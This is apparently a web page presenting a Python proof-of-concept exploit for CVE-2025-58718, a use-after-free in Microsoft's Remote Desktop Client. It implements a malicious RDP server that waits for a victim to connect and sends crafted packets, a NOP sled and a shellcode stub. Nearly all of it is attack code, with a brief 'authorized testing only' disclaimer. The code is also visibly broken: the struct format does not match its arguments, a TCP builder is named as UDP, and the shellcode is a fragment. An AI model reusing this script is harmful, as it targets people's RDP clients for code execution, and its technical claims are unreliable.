CVE-2025-58718 Microsoft远程桌面客户端释放后使用漏洞

# CVE-2025-58718 PoC - Conceptual Proof of Concept # Vulnerability: Use-After-Free in Microsoft Remote Desktop Client # Note: This is a conceptual PoC demonstrating the exploitation approach. # Actual exploitation requires a malicious RDP server infrastructure. import socket import struct import sys # RDP Protocol Constants RDP_PORT = 3389 PROTOCOL_RDP = 0x00000000 class MaliciousRDPServer: """ Conceptual malicious RDP server that triggers CVE-2025-58718 by sending crafted RDP packets to exploit the Use-After-Free vulnerability in the Remote Desktop Client. """ def __init__(self, host='0.0.0.0', port=RDP_PORT): self.host = host self.port = port self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) def craft_udp_packet(self, session_id, payload): """ Craft a malicious RDP packet designed to trigger the use-after-free condition in the client. """ # TPKT Header (4 bytes) tpkt_version = 0x03 tpkt_reserved = 0x00 tpkt_length = 4 + len(payload) # X.224 Connection Confirm header x224_length = ptr = len(payload) x224_type = 0xD0 # CC (Connection Confirm) x224_dst_ref = 0x0000 x224_src_ref = session_id x224_class_option = 0x00 header = struct.pack('>BBHHBx', tpkt_version, tpkt_reserved, tpkt_length, x224_length, x224_type, x224_dst_ref, x224_src_ref ) return header + payload def trigger_uaf(self, client_socket): """ Send crafted packets to trigger the Use-After-Free vulnerability. The exploit works by: 1. Establishing a normal RDP session 2. Triggering object deallocation through specific channel commands 3. Sending follow-up packets that reference the freed object 4. Achieving code execution through controlled heap manipulation """ try: # Step 1: Send initial connection response initial_payload = b'\x00' * 16 client_socket.send(self.craft_udp_packet(0x0001, initial_payload)) # Step 2: Trigger object free via malformed channel definition # This causes the client to free a session resource object free_trigger = b'\x14\x00\x00\x00' + b'\x00' * 12 client_socket.send(self.craft_udp_packet(0x0002, free_trigger)) # Step 3: Send UAF trigger - reference to the freed object # This packet accesses the dangling pointer causing UAF uaf_payload = struct.pack('<I', 0xDEADBEEF) + b'\x90' * 64 client_socket.send(self.craft_udp_packet(0x0003, uaf_payload)) # Step 4: Deliver shellcode via heap spray technique shellcode = b'\xFC\x48\x83\xE4\xF0' # Simple NOP sled + shellcode stub shellcode += b'\x90' * (256 - len(shellcode)) client_socket.send(self.craft_udp_packet(0x0004, shellcode)) except Exception as e: print(f"Exploit error: {e}") def start(self): """Start the malicious RDP server.""" self.server_socket.bind((self.host, self.port)) self.server_socket.listen(5) print(f"[*] Malicious RDP server listening on {self.host}:{self.port}") print(f"[*] Waiting for victim to connect...") while True: client_socket, addr = self.server_socket.accept() print(f"[!] Victim connected from {addr}") self.trigger_uaf(client_socket) if __name__ == "__main__": # WARNING: This PoC is for educational and authorized testing only. # Unauthorized use of this code to exploit systems is illegal. print("=" * 60) print("CVE-2025-58718 - PoC (Conceptual)") print("Use-After-Free in Microsoft Remote Desktop Client") print("=" * 60) server = MaliciousRDPServer() server.start()